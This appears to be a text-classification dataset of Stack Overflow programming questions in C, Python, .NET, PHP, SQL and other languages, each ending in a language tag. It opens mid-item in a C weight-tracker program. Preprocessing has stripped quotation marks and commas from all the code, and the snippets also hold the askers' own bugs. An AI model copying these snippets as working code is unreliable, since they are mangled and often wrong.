mediumworkout(double usersweight); double easyworkout(double usersweight); //void weightchecker(double usersweight);  int main() {     //declare main variables here     char userchoice =    ;     double usersweight;       do {         userchoice = getuserchoice();           switch (userchoice) {                 case a : //get weight                 usersweight = enterweight();                 cls;                 printf( your starting weight is: %dlbs.\n\n  usersweight);                 break;             case b : //run                 usersweight = runloss(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case c : //eat burger                 usersweight = burgergain(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case d : //eat pizza                 usersweight = eatpizza(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case e : //eat cake                 usersweight = eatcake(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case f : //hard workout                 usersweight = hardworkout(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case g : //medium workout                 usersweight = mediumworkout(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case h : //easy workout                 usersweight = easyworkout(usersweight);                 cls;                 printf( your weight is now %d.\n   usersweight);                 //weightchecker(usersweight);                 break;             case i : //quit                 exit(0);      }      } while(userchoice !=  i );      return 0;  } //end of main    char getuserchoice() {     char result;     do {     mainmenu();     scanf( %c   &amp;result);     flush;     result = toupper (result);       } while (result &lt;  a  || result &gt;  i );      return result;  }  void mainmenu(void) {     //cls;     printf( a) \tenter starting weight or change weight\n );     printf( b) \tgo running\n );     printf( c) \teat hamburgers\n );     printf( d) \teat pizza\n );     printf( e) \teat cake\n );     printf( f) \tdo a hard workout\n );     printf( g) \tdo a medium workout\n );     printf( h) \tdo a easy workout\n );     printf( i) \tquit\n\n );     printf( enter your selection:  );  }  double enterweight() {     double startingweight = 0.0;     printf( please enter your starting weight.\n );     scanf( %i   &amp;startingweight);     flush;      return startingweight; }  double runloss(double usersweight) {     double result;     double milesran = 0.0;     double runminus = 0.0;     printf( how many miles did you run \n );     scanf( %i   &amp;milesran);     flush;     runminus = milesran * .005;     result = usersweight - runminus;      return result; }  double burgergain(double usersweight) {     double result;     double hamburgersate = 0.0;     double hamburgergain = 0.0;     printf( how many hamburgers did you eat \n );     scanf( %i   &amp;hamburgersate);     flush;     hamburgergain = hamburgersate * .005;      if (hamburgersate &gt; 2) {         hamburgergain = hamburgergain + .5;     }      result = usersweight + hamburgergain;      return result; }  double eatpizza(double usersweight) {     double result;     double pizzas = 0.0;     double pizzagain = 0.0;     printf( how many pizza s did you eat \n );     scanf( %i   &amp;pizzas);     flush;     pizzagain = pizzas * .075;      if (pizzas &gt; 2) {         pizzagain = pizzagain + 1;     }      result  = usersweight + pizzagain;      return result; }  double eatcake(double usersweight) {     double result;     double cakeseaten = 0.0;     double cakegain = 0.0;     printf( how many cakes did you eat \n );     scanf( %i   &amp;cakeseaten);     flush;     cakegain = cakeseaten * 2;     result = usersweight + cakegain;      return result; }  double hardworkout(double usersweight) {     double result;     double hardworkouthours = 0.0;     double hardworkoutloss = 0.0;     printf( how many hours did you perform a hard workout \n );     scanf( %i   &amp;hardworkouthours);     flush;     hardworkoutloss = hardworkouthours * 1;      if (hardworkouthours &gt; 2) {         hardworkoutloss = hardworkoutloss + 1;     }      result = usersweight - hardworkoutloss;      return result; }  double mediumworkout(double usersweight) {     double result;     double mediumworkouthours = 0.0;     double mediumworkoutloss = 0.0;     printf( how many hours did you perform a medium workout \n );     scanf( %i   &amp;mediumworkouthours);     flush;     mediumworkoutloss = mediumworkouthours * .5;      if (mediumworkouthours &gt; 2) {         mediumworkoutloss = mediumworkoutloss + .25;     }      result = usersweight - mediumworkoutloss;      return result;     }      double easyworkout(double usersweight) {     double result;     double easyworkouthours = 0.0;     double easyworkoutloss = 0.0;     printf( how many hours did you perform a easy workout \n );     scanf( %i   &amp;easyworkouthours);     flush;     easyworkoutloss = easyworkouthours * .025;     result = usersweight - easyworkoutloss;      return result;     }      /*void weightchecker(double usersweight) {      if (usersweight &gt;= 200 &amp;&amp; usersweight &lt;= 400)      {         printf( you are obese  time to start working out.\n );     }     else if (usersweight &gt;= 150 &amp;&amp; usersweight &lt; 200)     {         printf( your weight is considered heavy  time to cut down on junk food.\n );     }     else if (usersweight &gt;= 125 &amp;&amp; usersweight &lt;150)     {         printf( you are fit  keep up the good work.\n );     }     else if (usersweight &gt;= 80 &amp;&amp; usersweight &lt;125)     {         printf( you are thin  time to start considering eating more.\n );     }     else     {         printf( you are dead due to improper weight management. game over!\n );         pause;         exit(0);     }      pause; } */ </code></pre>,c
parsing a time instant in python  i am relatively new to python.  i have a timestamp of the format - 2016-12-04t21:16:31.265z. it is of a type string. i want to know how can i parse the above timestamp in python.     i was looking through the datetime library  but seems like it accepts only floats. how do i get the time stamp parsed  i was trying to hunt for something like an equivalent of instant (in java) for python,python
how to use .net geocoordinatewatcher to get only locations from gps(gnss) devices   i have a bluetooth connected nmea device that can output a position every 1 tenth of a second. i also have another usb connected device that can output a position every second.    the issue is that the .net location service uses all possible means of geotagging  diluting the precision of the gnss device  outputting positions at random times and/or deceiving the user that it is connected to a gnss device.    if i go completely offline (no internet  no wifi  no cell reception) and delete location history  it seems to work fine. this is though not a solution for me  as the app will not only be used by me  and it is a huge inconvenience anyway to go through all this  only to achieve something that should be achievable by software means. moreover  using the app with any other location service than gps (gnss) location is useless.    is there any way that i can use <code>system.device.location.geocoordinatewatcher</code> to get only gps (gnss) positions,.net
calling webmethod using jquery  i am having two asp textboxes  <em>textboxpicpostcode</em> and <em>textboxpicaddress</em>.     the goal of this task is that when i enter a post code in <em>textboxpicpostcode</em> and the focus gets lost from this textbox it should automatically populate <em>textboxpicaddress</em> using the method in code behind.      the method <em>getadd()</em> in .cs code works fine and uses google api but i am not getting an idea how to use jquery ajax with it.    code-behind   <pre><code>public void getadd() {     string address =   ;     //_address.innertext = _postcode.text;     xmldocument xdoc = new xmldocument();     xdoc.load( http://maps.google.com/maps/api/geocode/xml address=  + textboxpicpostcode.text +  &amp;sensor=false );     xmlnodelist distancex = xdoc.getelementsbytagname( formatted_address );     if (distancex.count &gt; 0)     {         address = distancex[0].innerxml;         textboxpicaddress.text = address;     } } </code></pre>   javascript   <pre><code>&lt;script type= text/javascript &gt;     function submit() {         $.ajax({             type:  post               url:  establishment_controller.aspx.cs/getadd               data: datavalue              contenttype:  application/json; charset=utf-8               datatype:  json                success: function (result) {                 alert( we returned:   + result.d);             }         });     } &lt;/script&gt; </code></pre>   markup   <pre><code>&lt;asp:textbox id= textboxpicpostcode  runat= server       cssclass= time       onblur= submit(); &gt; &lt;/asp:textbox&gt; &lt;asp:textbox id= textboxpicaddress  runat= server       cssclass= address &gt; &lt;/asp:textbox&gt; </code></pre>,asp.net
iterate python data structure  i m having problems getting my head around this python data structure:    <pre><code> data = { nmap : { command_line : u ls                      scaninfo : {u tcp : { method : u connect                                            services : u 80 443 }}                     scanstats : { downhosts : u 0                                    elapsed : u 1.18                                    timestr : u wed mar 19 21:37:54 2014                                    totalhosts : u 1                                    uphosts : u 1 }}            scan : {u url : { addresses : {u ipv6 : u 2001:470:0:63::2 }                                           hostname : u abc.net                                            status : { reason : u syn-ack                                                       state : u up }                                          u tcp : {80: { conf : u 3                                                          cpe :                                                            extrainfo :                                                            name : u http                                                          product :                                                            reason : u syn-ack                                                          state : u open                                                          version :   }                                                   443: { conf : u 3                                                           cpe :                                                             extrainfo :                                                             name : u https                                                           product :                                                             reason : u syn-ack                                                           script : {                                                            u ssl-cert : u place holder }                                                          state : u open                                                           version :   }}                                           vendor : {}          }          }  } </code></pre>   basically i need to iterate over the  tcp  key values and extract the contents of the  script  item if it exists.     this is what i ve tried:   <pre><code>items = data[ scan ] for item in items[ url ][ tcp ]:     if t[ script ] is not none:         print t   </code></pre>   however i can t seem to get it to work.,python
how to scan 2-dimensional char array in c  i want to get string(including white spaces)input save to 2-dimensional array. my code is this :   <pre><code>char a[10000][6]; scanf( %d   &amp;n); for (int i = 0;i &lt; n;i++) {     scanf( %[^\n]s   a[i]); }  for (int i = 0;i &lt; n;i++) {     printf( %s\n   a[i]); } </code></pre>   what i got that is wrong output.please give me any suggestion!,c
decompose a float into mantissa and exponent in base 10 without strings  are there functions in the python library or numpy that take a float as input and return its decimal scientific notation decomposition  i.e. mantissa and exponent  or is there a brief way to accomplish this without resorting to string conversions or using a for loop to determine the exponent  writing such a function wouldn t be difficult  i m just shocked that i m having trouble finding an existing one in math  decimal or numpy.    e.g. if <code>fexp</code> and <code>fman</code> are the functions giving the exponent and mantissa of the decimal floating point representation of a float then we d expect the following statements to all return true:   <pre><code>fexp(154.3) == 2.0 fman(154.3) == 1.543 fexp(-1000) == 3.0 fman(-1000) == -1.0 </code></pre>   in short  this would be a  decimal version  of <code>math.frexp</code>.,python
angularjs: force loss of focus  i need to be able to force everything on the page to lose focus at a certain point when the user is editing some items.    i found this solution apparently works using jquery - <code>$( :focus ).blur()</code>    is there a way i can do something similar using angular,angularjs
i cant send mail   mail body contain data taken from database with while loop using php <pre><code>i am trying for send mail using php.mail body part contain data taken from database with while loop.it shows error.error is parse error: syntax error  unexpected    (t_encapsed_and_whitespace)  expecting identifier (t_string) or variable (t_variable) .error shown in body part.ie line $fet[ date ]; in body part.how i slve these issue  can i send mail with these body contain html and php code  </code></pre>   i am trying for send mail using php.mail body part contain data taken from database with while loop.it shows error.error is parse error: syntax error  unexpected    (t_encapsed_and_whitespace)  expecting identifier (t_string) or variable (t_variable) .error shown in body part.ie line $fet[ date ]; in body part.how i slve these issue  can i send mail with these body contain html and php code     my body part of mail is   <pre><code> $messag=echo  &lt;table width= 98%  border= 0   cellspacing= 1  cellpadding= 4  align= center  class= greyborder  &gt;   &lt;tr class= bluebackground &gt;    &lt;td width= 4%  align= left  bgcolor= #4096af &gt;&lt;strong&gt;no.&lt;/strong&gt;&lt;/td&gt;    &lt;td width= 20%  align= left  bgcolor= #4096af &gt;&lt;strong&gt;date&lt;/strong&gt;&lt;/td&gt;    &lt;td width= 20%  align= left  bgcolor= #4096af &gt;&lt;strong&gt;sale&lt;/strong&gt;&lt;/td&gt;    &lt;td width= 20%  align= left  bgcolor= #4096af &gt;&lt;strong&gt;payment&lt;/strong&gt;&lt;/td&gt;     &lt;/tr&gt;   $si=1;  while($fet=mysql_fetch_array($sql3))   {      $classname = ($classname ==  evenrow )  oddrow : evenrow ;      &lt;tr class= $classname &gt;        &lt;td class= txt &gt;  $si;&lt;/td&gt;        &lt;td class= txt &gt;         $fet[ date ];            &lt;/td&gt;        &lt;td class= txt &gt;         $fet[ total ];            &lt;/td&gt;        &lt;td class= txt &gt; $fet[ net_amount ];             &lt;/td&gt;      &lt;/tr&gt;     $si=$si+1;  }   $classname = ($classname == evenrow) oddrow:evenrow; &lt;tr align= right  class=  print $classname &gt;     &lt;td colspan= 9 &gt;&lt;table width= 100%   border= 0  cellspacing= 0 cellpadding= 0 &gt;   &lt;tr&gt;       &lt;td width= 50%   align= center  class= txt &gt; $pagination &lt;/td&gt;             &lt;/tr&gt;    &lt;/table&gt;   &lt;/td&gt;   &lt;/tr&gt;   &lt;/table&gt; ;     </code></pre>   anybody give any solution for thee issue,php
how to write a scope for closed or expired objects - rails 4 <blockquote>    i am totally confused on how to write a scope that displays events   that have either been closed or expired. if one could advise me  i   would be very grateful  </blockquote>   schema   <pre><code>activerecord::schema.define(version: 20161116132520) do   create_table  events   force: :cascade do |t|     t.string    title      t.text      description      t.date      date      t.string    city      t.boolean   close      t.integer   user_id    end end </code></pre>   i tried the below scopes but no luck:   <pre><code>event.rb file  scope :expired_or_closed_events  -&gt; {where([ close =     true] || [ date &lt;     date.current])}  scope :expired_events  -&gt; {where([ date &lt;     date.current])} scope :closed_events  -&gt; {where([ close =     true])} </code></pre>  <blockquote>    problem: this is the below issue i am having. the scope   <code>events.expired_or_closed_events.count</code> or   <code>events.closed_events.expired_events.count</code> should display a total   count of <code>5</code>. could one kindly advise me how i write a scope thats   display all events that are <code>closed but not expired &amp; that are closed and expired</code>  </blockquote>   -   <pre><code>2.3.0 :002 &gt; events.count    (0.2ms)  select count(*) from  events   =&gt; 8  2.3.0 :003 &gt;  2.3.0 :004 &gt;    2.3.0 :005 &gt;   events.closed_events.count    (0.2ms)  select count(*) from  events  where (close =  t )  =&gt; 1  2.3.0 :006 &gt;  2.3.0 :007 &gt;    2.3.0 :008 &gt;   events.expired_events.count    (0.3ms)  select count(*) from  events  where (date &lt;  2016-11-19 )  =&gt; 4  2.3.0 :009 &gt;  2.3.0 :010 &gt;    2.3.0 :011 &gt;    2.3.0 :012 &gt;   events.expired_or_closed_events.count    (0.2ms)  select count(*) from  events  where (close =  t )  =&gt; 1  2.3.0 :013 &gt;  2.3.0 :014 &gt;    2.3.0 :015 &gt;    2.3.0 :016 &gt;   events.closed_events.expired_events.count    (0.2ms)  select count(*) from  events  where (close =  t ) and (date &lt;  2016-11-19 )  =&gt; 0  2.3.0 :017 &gt;  </code></pre>,ruby-on-rails
check if dynamic object is single value or array in c#  which is the best way to check if a dynamic object is an array or a string/int/etc       this is my solution  that works but i m not sure if the try/cach solution is the best way.    i also tried  to get the <code>type</code> with <code>.gettype()</code> method  but that didn t worked.    the <code>list&lt;object&gt;</code> should contain simple datatypes  is castable to an string.    <pre><code>private dictionary&lt;string  list&lt;object&gt;&gt; getvalues(list&lt;dynamic&gt; dynamiclist) {     dictionary&lt;string  list&lt;object&gt;&gt; returndictionary;     returndictionary= new dictionary&lt;string  list&lt;object&gt;&gt;();      foreach (dynamic item in dynamiclist)     {         var name = item.name;         dynamic value = item.value;          try         {             string svalue = (string)value;             returndictionary.add(item.name  new list&lt;object&gt; { svalue });         }         catch         {             returndictionary.add(item.name  new list&lt;object&gt;((ienumerable&lt;object&gt;)value));         }     }      return returndictionary; } </code></pre>,.net
absolute positioning with percentages 50%  i found an anwswer from this: <a href= https://stackoverflow.com/questions/9404603/absolute-positioning-with-percentages-giving-unexpected-results >absolute positioning with percentages giving unexpected results</a>    but the answer is not quite right shows on my screen    here is <strong><a href= http://jsfiddle.net/ykapn/4/  rel= nofollow noreferrer >jsfiddle</a></strong> from that answer.   <pre><code>#container {     border: 1px solid red;     height: 100px;     width: 100px;     overflow: hidden;     position: relative; }  #item {     border: 1px dashed purple;     position: absolute;     left: 50%; } </code></pre>   <img src= https://i.stack.imgur.com/fdnlr.png  alt= enter image description here >    i am having this issue  50% is not half of the parent s width  if someone could help,css
my pygame crashes randomly on start  collision  or just when it feels like  i m coding a  catch  game where a character is chased by a single enemy  and has to chase two other characters to earn points. my code works fine most of the time  but will crash randomly on startup  when the character chasing collides with enemies or with other characters  or just in the middle of gameplay. i ve been going over the problem with my teacher for the last two weeks  but neither of us can figure out what is going wrong. he told me to hand it in as is  but i really do want to know how i can make it work. if anyone has any insight into how i can fix the problem  or what might be the issue  i d be much obliged.   <pre><code>#animation programming assignment: cat and mouse  import pygame  sys from pygame.locals import *  import random  pygame.mixer.pre_init(frequency=22050  size=-16  channels=1  buffer=256) pygame.init()  #screen junk pygame.init() width = 656 height = 498 screen = pygame.display.set_mode((width  height)) black = (0  0  0)   #all the text set up stuff pygame.display.set_caption( cat and mouse )   #title titleobj = pygame.font.font( freesansbold.ttf   22)  titletxt =  cat and mouse    #start startobj = pygame.font.font( freesansbold.ttf   18)  starttxt =  press  p  to start!    #score scoreobj = pygame.font.font(  freesansbold.ttf    22)  score = 0 scoretxt =  score:   + str(score)   #lives livesobj = pygame.font.font(  freesansbold.ttf    22)  lives = 3 livestxt =  lives:   + str(lives)   #music audioobj = pygame.font.font(  freesansbold.ttf    12)  audiotxt =  music by visager    #end endobj = pygame.font.font(  freesansbold.ttf    22)  endtxt =  press  p  to play again!    #images bakimg = pygame.image.load( bkgnd.png ).convert() catimg = pygame.image.load( catface.png ).convert_alpha() dogimg = pygame.image.load( dogface.png ).convert_alpha() mosimg = pygame.image.load( mouse.png ).convert_alpha() yrnimg = pygame.image.load( yarn.png ).convert_alpha() scrimg = scoreobj.render(scoretxt  true  black) livimg = livesobj.render(livestxt  true  black) audimg = audioobj.render(audiotxt  true  black) ttlimg = titleobj.render(titletxt  true  black) staimg = startobj.render(starttxt  true  black) endimg = endobj.render(endtxt  true  black)   #image widths/heights cwid = catimg.get_width() chgt = catimg.get_height()  dwid = dogimg.get_width() dhgt = dogimg.get_height()  mwid = mosimg.get_width() mhgt = mosimg.get_height()  ywid = yrnimg.get_width() yhgt = yrnimg.get_height()  swid = scrimg.get_width() shgt = scrimg.get_height()  lwid = livimg.get_width() lhgt = livimg.get_height()  awid = audimg.get_width() ahgt = audimg.get_height()  twid = ttlimg.get_width() thgt = ttlimg.get_height()  stwid = staimg.get_width() sthgt = staimg.get_height()  ewid = endimg.get_width() ehgt = endimg.get_height()   #image x/y catx = (width//2) - (cwid/2) caty = height//2 - chgt//2  dogx = random.randint(1  width - dwid) dogy = random.randint(1  height - dhgt)  while dogx &lt; catx + cwid and dogx + dwid &gt; catx and dogy &lt; caty + chgt and dogy + dhgt &gt; caty:     dogx = random.randint(1  width - dwid)     dogy = random.randint(1  height - dhgt)  mosx = width//2 mosy = width//2  while mosx &lt; catx + cwid and mosx + mwid &gt; catx and mosy &lt; caty + chgt and mosy + mhgt &gt; caty:     mosx = random.randint(1  width - mwid)     mosy = random.randint(1  height - mhgt)  yrnx = random.randint(1  width - ywid) yrny = random.randint(1  height - yhgt)  while yrnx &lt; catx + cwid and yrnx + ywid &gt; catx and yrny &lt; caty + chgt and yrny + yhgt &gt; caty:     yrnx = random.randint(1  width - (ywid-10))     yrny = random.randint(1  height - (yhgt-10))  scrx = width//2 - swid//2 scry = 20  livx = width//2 - lwid//2 livy = 40  audx = (width - awid) - 10 audy = (height - ahgt) - 10  ttlx = (width//2) - (twid//2) ttly = 60  stax = (width//2) - (stwid//2) stay = 90   #speeds catxspd = 0 catyspd = 0  dogxspd = random.randint(-2  2) dogyspd = random.randint(-2  2)  while dogxspd == 0:     dogxspd = random.randint(-2  2)  while dogyspd == 0:     dogxspd = random.randint(-2  2)  mosxspd = random.randint(-2  2) mosyspd = random.randint(-2  2)  while mosxspd == 0:     mosxspd = random.randint(-2  2)  while mosyspd == 0:     mosxspd = random.randint(-2  2)  yrnxspd = random.randint(-2  2) yrnyspd = random.randint(-2  2)  while yrnxspd == 0:     yrnxspd = random.randint(-2  2)  while yrnyspd == 0:     yrnxspd = random.randint(-2  2)   #audio things pygame.mixer.music.load( windybluffs.mp3 ) pygame.mixer.music.play(-1  0.0)  mossnd = pygame.mixer.sound( mossound.ogg ) dogsnd = pygame.mixer.sound( dogsound.ogg ) catsnd = pygame.mixer.sound( catsound.ogg )  #drawing permanent junk screen.blit(bakimg  (0  0)) screen.blit(audimg  (audx  audy))   #start screen start = true while start:     for event in pygame.event.get():         if event.type == quit:             pygame.quit()             sys.exit()          if event.type == keydown:             if event.key == k_p:                 start = false          if event.type == keyup:             if event.key == k_p:                 running = true      screen.blit(bakimg  (0  0))     screen.blit(ttlimg  (ttlx  ttly))     screen.blit(staimg  (stax  stay))      pygame.display.update()     pygame.time.delay(5)  #main game running = true while running:     playing = true     while playing:         #exit         for event in pygame.event.get():             if event.type == quit:                 pygame.quit()                 sys.exit()              #keyboard junk             if event.type == keydown:                 if event.key == k_right:                     catxspd = 3                 if event.key == k_left:                     catxspd = -3                 if event.key == k_up:                     catyspd = -3                 if event.key == k_down:                     catyspd = 3              if event.type == keyup:                 if event.key == k_right or event.key == k_left:                     catxspd = 0                 if event.key == k_up or event.key == k_down:                     catyspd = 0          screen.blit(scrimg  (scrx  scry))         screen.blit(livimg  (livx  livy))          dogx += dogxspd         dogy += dogyspd          mosx += mosxspd         mosy += mosyspd          yrnx += yrnxspd         yrny += yrnyspd          if dogx &gt;= width - dwid or dogx &lt;= 0:             dogxspd *= -1          if dogy &gt;= height - dhgt or dogy &lt;= 0:             dogyspd *= -1           if mosx &gt;= width - cwid or mosx &lt;= 0:             mosxspd *= -1          if mosy &gt;= height - mhgt or mosy &lt;= 0:             mosyspd *= -1           if yrnx &gt;= width - cwid or yrnx &lt;= 0:             yrnxspd *= -1          if yrny &gt;= height - yhgt or yrny &lt;= 0:             yrnyspd *= -1          catx += catxspd         caty += catyspd          if catx &gt;=  width - cwid:             cxspd = 0             catx = width - cwid         elif catx &lt;= 0:             cxspd = 0             catx = 0          if caty &gt;=  height - chgt:             cyspd = 0             caty = height - chgt         elif caty &lt;= 0:             cyspd = 0             caty = 0           #score         if mosx &lt; catx + cwid and mosx + mwid &gt; catx and mosy &lt; caty + chgt and mosy + mhgt &gt; caty:             pygame.init()             mossnd.play()             score = score + 2             scoretxt =  score:   + str(score)             scrimg = scoreobj.render(scoretxt  true  black)             swid = scrimg.get_width()             shgt = scrimg.get_height()             scrx = width//2 - swid//2             scry = 20              catx = random.randint(1  (width-cwid))             caty = random.randint(1  (height-chgt))              while mosx &lt; catx + cwid and mosx + mwid &gt; catx and mosy &lt; caty + chgt and mosy + mhgt &gt; caty:                 mosx = random.randint(1  width - mwid)                 mosy = random.randint(1  height - mhgt)              mosxspd = random.randint(-2  2)             mosyspd = random.randint(-2  2)              while mosxspd == 0:                 mosxspd = random.randint(-2  2)              while mosyspd == 0:                 mosxspd = random.randint(-2  2)          if yrnx &lt; catx + cwid and yrnx + ywid &gt; catx and yrny &lt; caty + chgt and yrny + yhgt &gt; caty:             catsnd.play()             score = score + 1             scoretxt =  score:   + str(score)             scrimg = scoreobj.render(scoretxt  true  black)             swid = scrimg.get_width()             shgt = scrimg.get_height()             scrx = width//2 - swid//2             scry = 20              yrnx = random.randint(1  (width-mwid))             yrny = random.randint(1  (height-mhgt))              while yrnx &lt; catx + cwid and yrnx + ywid &gt; catx and yrny &lt; caty + chgt and yrny + yhgt &gt; caty:                 yrnx = random.randint(1  width - ywid)                 yrny = random.randint(1  height - yhgt)              yrnxspd = random.randint(-2  2)             yrnyspd = random.randint(-2  2)              while yrnxspd == 0:                 yrnxspd = random.randint(-2  2)              while yrnyspd == 0:                 yrnxspd = random.randint(-2  2)          #lives         if dogx &lt; catx + cwid and dogx + dwid &gt; catx and dogy &lt; caty + chgt and dogy + dhgt &gt; caty:             dogsnd.play()             lives = lives - 1             livestxt =  lives:   + str(lives)             livimg = livesobj.render(livestxt  true  black)             lwid = livimg.get_width()             lhgt = livimg.get_height()             livx = width//2 - lwid//2             livy = 40              if lives == 0:                 playing = false               dogx = random.randint(1  (width-dwid))             dogy = random.randint(1  (height-dhgt))             dogxspd = random.randint(-2  2)             dogyspd = random.randint(-2  2)              while dogx &lt; catx + cwid and dogx + dwid &gt; catx and dogy &lt; caty + chgt and dogy + dhgt &gt; caty:                 dogx = random.randint(1  width - dwid)                 dogy = random.randint(1  height - dhgt)              while dogxspd == 0:                 dogxspd = random.randint(-2  2)              while dogyspd == 0:                 dogxspd = random.randint(-2  2)          screen.blit(bakimg  (0  0))         screen.blit(mosimg  (mosx  mosy))         screen.blit(yrnimg  (yrnx  yrny))         screen.blit(catimg  (catx  caty))         screen.blit(dogimg  (dogx  dogy))         screen.blit(scrimg  (scrx  scry))         screen.blit(livimg  (livx  livy))         screen.blit(audimg  (audx  audy))          pygame.display.update()         pygame.time.delay(5)       #end screen     end = true     while end:         for event in pygame.event.get():             if event.type == quit:                 pygame.quit()                 sys.exit()              if event.type == keydown:                 if event.key == k_p:                     playing = true                     start = false                      lives = 3                     livestxt =  lives:   + str(lives)                     livimg = livesobj.render(livestxt  true  black)                     lwid = livimg.get_width()                     lhgt = livimg.get_height()                     livx = width//2 - lwid//2                     livy = 40                      score = 0                     scoretxt =  score:   + str(score)                     scrimg = scoreobj.render(scoretxt  true  black)                     swid = scrimg.get_width()                     shgt = scrimg.get_height()                     scrx = width//2 - swid//2                     scry = 20               if event.type == keyup:                 if event.key == k_p:                     end = false                     start = false                      catx = (width//2) - (cwid/2)                     caty = 520                      catxspd = 0                     catyspd = 0                     screen.blit(catimg  (catx  caty))          screen.blit(bakimg  (0  0))         screen.blit(endimg  ((width//2) - (ewid//2)   (height//2) - (ehgt//2)))          pygame.display.update()         pygame.time.delay(5) </code></pre>,python
using intents inside service  can i use an intent inside a service  what should i put in           i need to call an pedingintent for an alarm inside the service.-     example.   <pre><code>public class calcularhorasservice extends service {     public int horar;     public int minr;     private pendingintent pdintautomatico;      @override     public int onstartcommand( intent intent  int flags  int startid )     {         // this line is key         android.os.debug.waitfordebugger();         log.v(  servicio    entro al servicio  );          getcalcularhorasalida();          setalarma();          // return         return super.onstartcommand( intent  flags  startid );     }      /**      * set alarm      */     private void setalarma()     {         intent intsincroauto = new intent(       alarmaactivarbroadauto.class );         pdintautomatico = pendingintent.getbroadcast(       0  intsincroauto  0);     } } </code></pre>,android
1-dimensional array counting same elements  i have a 1-dimensional array that fills up a table of 40 random elements (all the values are either 0 or 1).  i want to find the longest consecutive span of values.    for example:    in <code>111100101</code> the longest row would be <code>1111</code> because it has four consecutive values of <code>1</code>.    in <code>011100</code> the result is <code>111</code>.    i have no idea how to check upon the  next element  and check if it s a 0 or 1.  like the first would be 1111 (count 4) but the next would be a 0 value  meaning i have to stop counting.    my idea was placing this value (4) in a other array (example: 111100101)  and place the value of the 1 s back on zero.  and start the process all over again.    to find the largest value i have made another method that checks up the biggest value in the array that keeps track of the count of 0 s 1 s  this is not the problem.    but i cannot find a way to fill the array tabelldr up  having all the values of the group of elements of the same kind (being 0 or 1).    in the code below i have 2 if s and of course it will never go into the second if (to check if the next value in the array is != to its current state (being 0 or 1).   <pre><code>public void berekendeelrij(byte[] tabel  byte[] tabelldr)  {     byte ldrnul = 0  ldréén = 0;     //byte teller = 0;      for (byte i = 0; i &lt; tabel.length; i++)      {         if (tabel[i] == 0)          {             ldrnul++;             //this 2nd if cleary does not work  but i have no idea how to implend this sort of idea in my program.             if (tabel[i] == 1) //if value != 0 then the total value gets put in the second array tabelldr               {                 tabelldr[i] = ldrnul;                 ldrnul = 0             }         }          if (tabel[i] == 1)         {             ldréén++;             if (tabel[i] == 0)             {                 tabelldr[i] = ldréén;                 ldréén = 0;             }         }      }/*for*/ } </code></pre>,c#
sql query with union neglects rows  i have am facing issue with a sql query. when i try with part of query  it works fine for me. but when i combine it with <code>union</code>  it skips the values which i have entered in same voucher but account number is same.    for example if i have two entries in the table with the same account number  and try to get them with this query:   <pre><code>select       dv- +convert(varchar voucherno) as voucherno      debitvouchersbody.accountno      accountname      voucherdate as date      debitvouchersbody.narration      debit      0.00 as credit from     debitvouchersbody left join      chartofaccounts on debitvouchersbody.accountno = chartofaccounts.accountno where      debitvouchersbody.accountno =  541   </code></pre>   this is working fine for me as per above query and it returns both entries.    but when i implement with <code>union</code> as described in below query  the code neglects all other rows which are having the same voucher number and having same account number. and it returns the top one row of account number if it s duplicated in the voucher. i want to get all rows no matter about account number duplicated or not.    can you please suggest how i can resolve this    <pre><code>select       si- +convert(varchar sales.saleid) as voucherno      customerid as accountno      accountname  date  sales.narration      invoiceamount-invoicediscount as debit      paidamount as credit from     sales left join      chartofaccounts on sales.customerid = chartofaccounts.accountno where      customerid =  541   union  select       pi-  + convert(varchar  purchases.purchaseid) as voucherno      vendorid as accountno      accountname  date  purchases.narration      amountpaid as debit      invoiceamount as credit from      purchases left join      chartofaccounts on purchases.vendorid = chartofaccounts.accountno where      vendorid =  541   union  select       dv-  + convert(varchar  voucherno) as voucherno      debitvouchersbody.accountno      accountname      voucherdate as date      debitvouchersbody.narration      debit      0.00 as credit from     debitvouchersbody left join      chartofaccounts on debitvouchersbody.accountno = chartofaccounts.accountno where      debitvouchersbody.accountno =  541   union  select       cv-  + convert(varchar voucherno) as voucherno      creditvouchersbody.accountno      accountname      voucherdate as date      creditvouchersbody.narration      0.00 as debit      credit from     creditvouchersbody left join      chartofaccounts on creditvouchersbody.accountno = chartofaccounts.accountno where      creditvouchersbody.accountno =  541   union  select       jv-  + convert(varchar  voucherno) as voucherno      journalvouchersbody.accountno      accountname      voucherdate as date      journalvouchersbody.narration      debit      credit from     journalvouchersbody left join      chartofaccounts on journalvouchersbody.accountno = chartofaccounts.accountno where      journalvouchersbody.accountno =  541   union  select      null as voucherno      null as accountno      null as name      null as date       opening balance  as narration      openingdebit as debit      openingcredit as crdit from     chartofaccounts where      accountno =  541  order by      date  voucherno </code></pre>,sql
how to export sio2 file on iphone   when i export  sio2 file of 3d game on simulator it is loading but then black screen appears.    even i getting  current frame does not matches this frame  this error.    can anybody help me out with his problem.    to be more technical while getting material objects its happening so,iphone
php order of logical operators  i m curious about how php handles conditional statements / order of operations with nesting.  if i use the following <code>if</code> condition:   <pre><code>if(x == (1 || 2)) {     // do something } </code></pre>   i would expect it to behave the same as   <pre><code>if(x == 1 || x == 2) {     // do something } </code></pre>   ...but it doesn t.  my first example seems like it would be a handy shorthand that makes pretty good sense  but it doesn t do what i expect.  can anyone shed some light on the issue   what exactly does php do with my first statement,php
objective c gcd increases cpu usage  recently we upgraded our code to use gcd queues. we are seeing an increase in the cpu usage (50% in old  150% in new). when we did a time profiler  we see that major difference lies with the cpu utilisation by  com.apple.libdispatch-manager  thread. i assume this is the thread that interacts with the kernel events and manages dispatch queues.     is it an expected change,objective-c
